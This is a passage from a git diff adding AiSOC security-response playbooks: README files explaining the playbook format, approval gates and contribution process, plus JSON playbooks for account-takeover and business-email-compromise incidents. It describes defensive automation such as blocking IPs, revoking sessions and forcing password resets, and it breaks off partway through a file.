the computation.+ SampleSize int `json:"sample_size,omitempty"`++ // Error is set when the computation failed; the front end should render a+ // fallback panel instead of charts.+ Error string `json:"error,omitempty"`+}++// Widget is the interface every dashboard widget plugin implements.+type Widget interface {+ Plugin++ // Compute runs the widget computation against AiSOC data and returns a+ // renderer-ready payload. Implementations should be idempotent; the same+ // (req, pctx) pair must produce the same output (modulo data freshness).+ Compute(ctx context.Context, req WidgetRequest, pctx PluginContext) (WidgetResult, error)+}diff --git a/playbooks/README.md b/playbooks/README.mdnew file mode 100644index 000000000..092dbb74a--- /dev/null+++ b/playbooks/README.md@@ -0,0 +1,157 @@+# AiSOC Playbooks++This directory contains AiSOC response playbooks. A playbook is a JSON+document that wires alerts and cases to a deterministic, auditable sequence+of agent + automation steps with explicit human-approval gates and+rollback paths.++## Layout++```+playbooks/+└── packs/+ └── v1/ # Canonical, versioned production pack (50 playbooks)+ ├── account-takeover/ # 5 — ATO, MFA fatigue, session theft, OAuth abuse+ ├── ransomware/ # 5 — host isolate, shadow-copy, fileserver, C2, exposure+ ├── bec/ # 5 — inbox rules, payment redirect, impersonation, token theft+ ├── insider-risk/ # 5 — mass download, exit-risk, privilege misuse, src-exfil+ ├── cloud-misconfig/ # 10 — S3, IAM, key-leak, root MFA, CloudTrail, SG, RDS, GKE, Azure, x-account+ ├── data-exfil/ # 5 — large upload, archive, DNS tunnel, personal cloud, USB+ ├── lateral-movement/ # 5 — PsExec, RDP, kerberoast, PTH, cross-domain+ ├── supply-chain/ # 5 — npm, PyPI, GH Action, vendor breach, IaC drift+ └── ddos/ # 5 — L3/L4, L7, DNS amp, SYN flood, auth-endpoint+```++The runtime (`services/agents/app/playbook/store.py`) loads `packs/v1/**`+on startup and merges with user-defined playbooks in+`services/agents/data/playbooks/index.json`. **User playbooks always win+over pack playbooks of the same ID** — the pack is the seed, not a+hard-coded floor.++## Playbook format++Each file is a `*.playbook.json` document validated against the Pydantic+[`Playbook`](../services/agents/app/playbook/models.py) model.++```json+{+ "id": "ato-impossible-travel-block-v1",+ "name": "ATO: Impossible Travel — Block & Reset",+ "description": "...",+ "version": "1.0.0",+ "tags": ["account-takeover", "ato", "identity", "mitre.t1078"],+ "trigger": {+ "on": "alert",+ "severity": ["high", "critical"],+ "tags": ["account-takeover"]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Geo-enrich source IP",+ "type": "enrich",+ "params": { "indicator_field": "alert.source_ip" },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ }+ ]+}+```++### Supported step types++| Type | Purpose |+| --------------- | ------------------------------------------------------ |+| `enrich` | Call enrichment service for an indicator |+| `investigate` | Hand off to the AI investigator agent |+| `notify` | Slack / email / PagerDuty / webhook |+| `block_ip` | Edge or firewall IP block |+| `isolate_host` | EDR host isolation |+| `create_ticket` | Open a ticket in the SOC / HR / procurement queue |+| `close_case` | Auto-close (typically gated on `verdict`) |+| `http` | Generic outbound HTTP for any custom integration |+| `condition` | Branching gate; reads `field op value` from run context |++### Human-approval gates++Approval gates are modelled as `condition` steps that read a flag from+run context (e.g. `context.approved_by_oncall`). The flag is expected to+be set by an out-of-band approval system — Slack interactive button,+email link, or the AiSOC web console — before the gated step runs.++```json+{+ "id": "approve",+ "name": "Wait for human approval",+ "type": "condition",+ "params": {},+ "condition": {+ "field": "context.approved_by_oncall",+ "operator": "eq",+ "value": true+ },+ "next_true": "reset",+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 5+}+```++### Rollback++Rollback is modelled by pairing every containment action with a+`condition` step gated on `verdict == false_positive` plus a matching+reverse-action step. The pattern is intentionally explicit so the+reviewer can see exactly what will be undone.++## Adding or editing playbooks++The pack is generated from a single source of truth:+[`scripts/generate_playbooks.py`](../scripts/generate_playbooks.py).++```bash+# Regenerate playbooks/packs/v1/ from spec+python3 scripts/generate_playbooks.py++# Validate the pack (schema + step graph + uniqueness)+python3 scripts/validate_playbooks.py+```++CI runs both on every PR (`.github/workflows/validate-playbooks.yml`)+and fails if the committed tree drifts from the generator output.++If you need a new playbook:+1. Add a new builder function (or extend an existing category builder)+ in `scripts/generate_playbooks.py`.+2. Run `python3 scripts/generate_playbooks.py`.+3. Run `python3 scripts/validate_playbooks.py`.+4. Commit the script change *and* the regenerated JSON together.++## Loading order++`PlaybookStore._load()` resolves IDs in this order — last writer wins:++1. Per-runtime fixture files in+ `services/agents/data/playbooks/*.playbook.json` (legacy + dev-only).+2. Canonical pack tree at `playbooks/packs/v1/**/*.playbook.json` (this+ directory).+3. The mutable `services/agents/data/playbooks/index.json` (any+ user-defined or API-created playbooks).++That means: forking a pack playbook is a one-line operation. Save your+edited copy under the same `id` via the API and the runtime serves your+version forever — no need to fork the repo.++## Versioning++The `v1/` segment in `packs/v1/` is the pack version. Breaking changes+to the schema or runtime semantics will land as a sibling `packs/v2/`+tree, so existing deployments can pin against `v1/`. Individual playbook+IDs carry their own `-v1` suffix for the same reason; the runtime treats+`ato-mfa-fatigue-response-v1` and `ato-mfa-fatigue-response-v2` as+distinct, side-by-side playbooks.diff --git a/playbooks/community/README.md b/playbooks/community/README.mdnew file mode 100644index 000000000..195ded7b9--- /dev/null+++ b/playbooks/community/README.md@@ -0,0 +1,44 @@+# Community Playbooks++This directory holds response playbooks contributed by the AiSOC community.++Drop your playbook as+`playbooks/community/<your-pack>/<your-playbook>.playbook.json` and it will+be auto-indexed by+[`scripts/build_marketplace.py`](../../scripts/build_marketplace.py) on the+next `pnpm marketplace:build`. It will appear in the in-app marketplace with+a **Community** badge.++## Authoring a community playbook++Use any playbook under [`playbooks/packs/v1/`](../packs/v1/) as a template.+Every playbook **must**:++- Have a stable `id` (kebab-case). Convention for community playbooks:+ `community-<github-handle>-<short-name>`.+- Declare a clear `trigger` (case category, severity threshold, detection ID+ it responds to, etc.).+- Use the standard `steps[]` schema with explicit `kind` (`enrich`, `notify`,+ `action`, `decision`, `wait_for_approval`, …) and a documented+ `description`.+- Mark every irreversible action (account lockout, host isolation, file+ deletion, etc.) behind a `wait_for_approval` step.+- Include MITRE ATT&CK references in `tags` (format `mitre.attack.T1234[.567]`)+ for any technique the playbook is responding to. This is what powers the+ MITRE filter in the marketplace.++## Validation++```bash+pnpm marketplace:build+pnpm marketplace:check+```++CI will reject PRs whose `marketplace/index.json` does not match what the+build script produces.++## Promotion path++Community playbooks start with `verified: false` and `source: "community"`.+A maintainer can promote a battle-tested playbook into+`playbooks/packs/v1/<category>/` after review.diff --git a/playbooks/packs/v1/account-takeover/ato-credential-stuffing.playbook.json b/playbooks/packs/v1/account-takeover/ato-credential-stuffing.playbook.jsonnew file mode 100644index 000000000..2f1818208--- /dev/null+++ b/playbooks/packs/v1/account-takeover/ato-credential-stuffing.playbook.json@@ -0,0 +1,114 @@+{+ "id": "ato-credential-stuffing-v1",+ "name": "ATO: Credential Stuffing \u2014 Block & Reset",+ "description": "Triggered by high-volume failed logins from a single source. Blocks the IP range, identifies impacted users, and forces resets.",+ "version": "1.0.0",+ "tags": [+ "account-takeover",+ "ato",+ "identity",+ "mitre.t1110.004"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high",+ "critical"+ ],+ "tags": [+ "account-takeover"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Enrich source IP reputation",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.source_ip"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "b1",+ "name": "Block source IP",+ "type": "block_ip",+ "params": {+ "ip_field": "alert.source_ip",+ "duration": "48h"+ },+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "list",+ "name": "List impacted users",+ "type": "http",+ "params": {+ "url": "${SIEM_URL}/search/credential_stuffing/{{alert.source_ip}}",+ "method": "GET"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate cred-stuffing campaign",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "identity"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "reset-all",+ "name": "Force reset for impacted users",+ "type": "http",+ "params": {+ "url": "${IDP_BASE_URL}/bulk/password-reset",+ "method": "POST",+ "body_template": "{\"user_ids\": {{context.impacted_user_ids}}}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "n1",+ "name": "Page identity team",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "Credential stuffing from {{alert.source_ip}}: {{context.impacted_user_count}} users reset.",+ "service_key_env": "PD_IDENTITY_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open ATO ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "Credential stuffing: {{alert.source_ip}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/account-takeover/ato-impossible-travel-block.playbook.json b/playbooks/packs/v1/account-takeover/ato-impossible-travel-block.playbook.jsonnew file mode 100644index 000000000..10bb32043--- /dev/null+++ b/playbooks/packs/v1/account-takeover/ato-impossible-travel-block.playbook.json@@ -0,0 +1,146 @@+{+ "id": "ato-impossible-travel-block-v1",+ "name": "ATO: Impossible Travel \u2014 Block & Reset",+ "description": "Triggered by impossible-travel detections. Blocks the source IP, force-revokes active sessions for the user, and requires human approval before forcing a password reset.",+ "version": "1.0.0",+ "tags": [+ "account-takeover",+ "ato",+ "identity",+ "mitre.t1078"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high",+ "critical"+ ],+ "tags": [+ "account-takeover"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Geo-enrich source IP",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.source_ip"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "inv",+ "name": "Investigate user activity",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "identity"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "b1",+ "name": "Block source IP at edge",+ "type": "block_ip",+ "params": {+ "ip_field": "alert.source_ip",+ "duration": "12h"+ },+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "rev",+ "name": "Revoke active sessions",+ "type": "http",+ "params": {+ "url": "${IDP_BASE_URL}/users/{{alert.user}}/sessions",+ "method": "DELETE",+ "headers_env": "IDP_BEARER_HEADERS"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "n1",+ "name": "Notify user via email",+ "type": "notify",+ "params": {+ "channel": "email",+ "message_template": "Suspicious sign-in from {{alert.source_ip}} blocked. Reset your password.",+ "webhook_env": "EMAIL_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "approve",+ "name": "Wait for human approval",+ "type": "condition",+ "params": {},+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 5,+ "condition": {+ "field": "context.approved_by_oncall",+ "operator": "eq",+ "value": true+ },+ "next_true": "reset"+ },+ {+ "id": "reset",+ "name": "Force password reset",+ "type": "http",+ "params": {+ "url": "${IDP_BASE_URL}/users/{{alert.user}}/password/reset",+ "method": "POST",+ "headers_env": "IDP_BEARER_HEADERS"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "t1",+ "name": "Open ATO investigation ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P2",+ "title_template": "ATO suspected: {{alert.user}} from {{alert.source_ip}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "close-fp",+ "name": "Close if false positive",+ "type": "close_case",+ "params": {+ "resolution": "false_positive"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10,+ "condition": {+ "field": "verdict",+ "operator": "eq",+ "value": "false_positive"+ }+ }+ ]+}diff --git a/playbooks/packs/v1/account-takeover/ato-mfa-fatigue-response.playbook.json b/playbooks/packs/v1/account-takeover/ato-mfa-fatigue-response.playbook.jsonnew file mode 100644index 000000000..c334a4385--- /dev/null+++ b/playbooks/packs/v1/account-takeover/ato-mfa-fatigue-response.playbook.json@@ -0,0 +1,116 @@+{+ "id": "ato-mfa-fatigue-response-v1",+ "name": "ATO: MFA Fatigue \u2014 Challenge & Reset",+ "description": "Triggered when a user receives an unusual burst of MFA prompts. Enforces step-up auth and resets MFA factors after approval.",+ "version": "1.0.0",+ "tags": [+ "account-takeover",+ "ato",+ "identity",+ "mfa",+ "mitre.t1621"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "medium",+ "high"+ ],+ "tags": [+ "account-takeover"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Enrich user device posture",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.user"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "inv",+ "name": "Score MFA-fatigue likelihood",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "step-up",+ "name": "Force step-up auth challenge",+ "type": "http",+ "params": {+ "url": "${IDP_BASE_URL}/users/{{alert.user}}/factors/challenge",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "n1",+ "name": "DM user on Slack",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "We've challenged your sign-in due to repeated MFA prompts. Approve only if you initiated.",+ "webhook_env": "SLACK_USER_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "approve",+ "name": "Wait for human approval",+ "type": "condition",+ "params": {},+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 5,+ "condition": {+ "field": "context.approved_by_oncall",+ "operator": "eq",+ "value": true+ },+ "next_true": "reset-mfa"+ },+ {+ "id": "reset-mfa",+ "name": "Reset enrolled MFA factors",+ "type": "http",+ "params": {+ "url": "${IDP_BASE_URL}/users/{{alert.user}}/factors",+ "method": "DELETE"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "t1",+ "name": "Open MFA-fatigue case",+ "type": "create_ticket",+ "params": {+ "priority": "P3",+ "title_template": "MFA fatigue investigation: {{alert.user}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/account-takeover/ato-session-token-theft.playbook.json b/playbooks/packs/v1/account-takeover/ato-session-token-theft.playbook.jsonnew file mode 100644index 000000000..fe7e1d5b7--- /dev/null+++ b/playbooks/packs/v1/account-takeover/ato-session-token-theft.playbook.json@@ -0,0 +1,100 @@+{+ "id": "ato-session-token-theft-v1",+ "name": "ATO: Session Token Theft \u2014 Revoke & Isolate",+ "description": "Triggered when an authenticated session is observed from a new device + new geo simultaneously. Revokes all tokens and isolates the originating endpoint if known.",+ "version": "1.0.0",+ "tags": [+ "account-takeover",+ "ato",+ "identity",+ "session-hijack",+ "mitre.t1539"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "critical"+ ],+ "tags": [+ "account-takeover"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Enrich session context",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.session_id"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "revoke",+ "name": "Revoke all sessions for user",+ "type": "http",+ "params": {+ "url": "${IDP_BASE_URL}/users/{{alert.user}}/sessions/revoke-all",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate token-theft chain",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "iso",+ "name": "Isolate originating endpoint",+ "type": "isolate_host",+ "params": {+ "host_field": "alert.host"+ },+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "n1",+ "name": "Page on-call",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "Session theft suspected for {{alert.user}}. Tokens revoked, host {{alert.host}} isolated.",+ "service_key_env": "PD_SOC_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open P1 ATO ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "Session token theft: {{alert.user}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/account-takeover/ato-suspicious-oauth-grant.playbook.json b/playbooks/packs/v1/account-takeover/ato-suspicious-oauth-grant.playbook.jsonnew file mode 100644index 000000000..cc43c7596--- /dev/null+++ b/playbooks/packs/v1/account-takeover/ato-suspicious-oauth-grant.playbook.json@@ -0,0 +1,90 @@+{+ "id": "ato-suspicious-oauth-grant-v1",+ "name": "ATO: Suspicious OAuth Grant \u2014 Revoke & Investigate",+ "description": "Triggered when a user grants a new OAuth scope to an unfamiliar third-party app. Revokes the grant and investigates.",+ "version": "1.0.0",+ "tags": [+ "account-takeover",+ "ato",+ "identity",+ "oauth",+ "mitre.t1528"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "medium",+ "high"+ ],+ "tags": [+ "account-takeover"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Enrich OAuth client reputation",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.oauth_client_id"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "inv",+ "name": "Investigate scope and lineage",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "identity"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "revoke",+ "name": "Revoke OAuth grant",+ "type": "http",+ "params": {+ "url": "${IDP_BASE_URL}/users/{{alert.user}}/oauth/{{alert.oauth_client_id}}",+ "method": "DELETE"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "n1",+ "name": "Notify user",+ "type": "notify",+ "params": {+ "channel": "email",+ "message_template": "Removed OAuth grant for {{alert.oauth_client_app_name}}. Re-add only if intentional.",+ "webhook_env": "EMAIL_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open OAuth-abuse ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P3",+ "title_template": "Suspicious OAuth grant: {{alert.user}} -> {{alert.oauth_client_app_name}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/bec/bec-conditional-access-bypass.playbook.json b/playbooks/packs/v1/bec/bec-conditional-access-bypass.playbook.jsonnew file mode 100644index 000000000..6f337075f--- /dev/null+++ b/playbooks/packs/v1/bec/bec-conditional-access-bypass.playbook.json@@ -0,0 +1,89 @@+{+ "id": "bec-conditional-access-bypass-v1",+ "name": "BEC: Conditional Access Policy Bypass",+ "description": "Triggered when a BEC-related sign-in succeeds from a region that should be blocked by Conditional Access. Restores policy.",+ "version": "1.0.0",+ "tags": [+ "bec",+ "bec",+ "identity",+ "conditional-access"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high",+ "critical"+ ],+ "tags": [+ "bec"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Enrich CA policy state",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.policy_id"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "restore",+ "name": "Restore conditional access policy",+ "type": "http",+ "params": {+ "url": "${IDP_BASE_URL}/policies/{{alert.policy_id}}/enable",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate CA bypass",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "identity"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page identity team",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "CA policy {{alert.policy_id}} re-enabled. Bypass observed.",+ "service_key_env": "PD_IDENTITY_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open CA-bypass ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P2",+ "title_template": "CA bypass: {{alert.user}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/bec/bec-impersonation-domain.playbook.json b/playbooks/packs/v1/bec/bec-impersonation-domain.playbook.jsonnew file mode 100644index 000000000..d4865246f--- /dev/null+++ b/playbooks/packs/v1/bec/bec-impersonation-domain.playbook.json@@ -0,0 +1,101 @@+{+ "id": "bec-impersonation-domain-v1",+ "name": "BEC: Impersonation Domain Quarantine",+ "description": "Triggered when an inbound email originates from a domain that look-alikes an executive or vendor. Quarantines and blocks.",+ "version": "1.0.0",+ "tags": [+ "bec",+ "bec",+ "email",+ "mitre.t1656"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high"+ ],+ "tags": [+ "bec"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Enrich sender domain",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.sender_domain"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "quarantine",+ "name": "Quarantine impersonation message",+ "type": "http",+ "params": {+ "url": "${MAIL_URL}/messages/{{alert.message_id}}/quarantine",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "block-domain",+ "name": "Block sender domain",+ "type": "http",+ "params": {+ "url": "${MAIL_URL}/policy/block-domain",+ "method": "POST",+ "body_template": "{\"domain\":\"{{alert.sender_domain}}\"}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate BEC campaign",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "identity"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify SOC",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "Impersonation domain {{alert.sender_domain}} blocked.",+ "webhook_env": "SLACK_SOC_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open BEC ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P3",+ "title_template": "BEC impersonation: {{alert.sender_domain}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/bec/bec-inbox-rule-malicious.playbook.json b/playbooks/packs/v1/bec/bec-inbox-rule-malicious.playbook.jsonnew file mode 100644index 000000000..3e3774a0b--- /dev/null+++ b/playbooks/packs/v1/bec/bec-inbox-rule-malicious.playbook.json@@ -0,0 +1,101 @@+{+ "id": "bec-inbox-rule-malicious-v1",+ "name": "BEC: Malicious Inbox Rule Removed",+ "description": "Triggered when a forwarding/filter rule is created that hides vendor or finance keywords. Removes the rule and resets creds.",+ "version": "1.0.0",+ "tags": [+ "bec",+ "bec",+ "email",+ "mitre.t1564.008"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high",+ "critical"+ ],+ "tags": [+ "bec"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Enrich rule details",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.inbox_rule_id"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "delete-rule",+ "name": "Delete malicious inbox rule",+ "type": "http",+ "params": {+ "url": "${MAIL_URL}/users/{{alert.user}}/rules/{{alert.inbox_rule_id}}",+ "method": "DELETE"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "revoke",+ "name": "Revoke active sessions",+ "type": "http",+ "params": {+ "url": "${IDP_BASE_URL}/users/{{alert.user}}/sessions/revoke-all",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate BEC chain",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "identity"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify finance team",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "BEC rule removed for {{alert.user}}. Validate any vendor changes in the last 7d.",+ "webhook_env": "SLACK_FINANCE_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open BEC ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P2",+ "title_template": "BEC inbox rule: {{alert.user}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/bec/bec-token-theft.playbook.json b/playbooks/packs/v1/bec/bec-token-theft.playbook.jsonnew file mode 100644index 000000000..c774ea207--- /dev/null+++ b/playbooks/packs/v1/bec/bec-token-theft.playbook.json@@ -0,0 +1,101 @@+{+ "id": "bec-token-theft-v1",+ "name": "BEC: M365 / Workspace Token Theft",+ "description": "Triggered when a refresh token is observed from a new ASN with no interactive sign-in. Revokes refresh tokens and forces MFA.",+ "version": "1.0.0",+ "tags": [+ "bec",+ "bec",+ "identity",+ "token-theft",+ "mitre.t1539"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "critical"+ ],+ "tags": [+ "bec"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Enrich ASN reputation",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.source_asn"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "revoke-rt",+ "name": "Revoke refresh tokens",+ "type": "http",+ "params": {+ "url": "${IDP_BASE_URL}/users/{{alert.user}}/refresh-tokens",+ "method": "DELETE"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "force-mfa",+ "name": "Force MFA re-enrollment",+ "type": "http",+ "params": {+ "url": "${IDP_BASE_URL}/users/{{alert.user}}/mfa/reset",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate token-theft chain",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "identity"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page on-call",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "Refresh-token theft suspected for {{alert.user}}. Tokens revoked.",+ "service_key_env": "PD_SOC_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open BEC token ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "BEC token theft: {{alert.user}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/bec/bec-vendor-payment-redirect.playbook.json b/playbooks/packs/v1/bec/bec-vendor-payment-redirect.playbook.jsonnew file 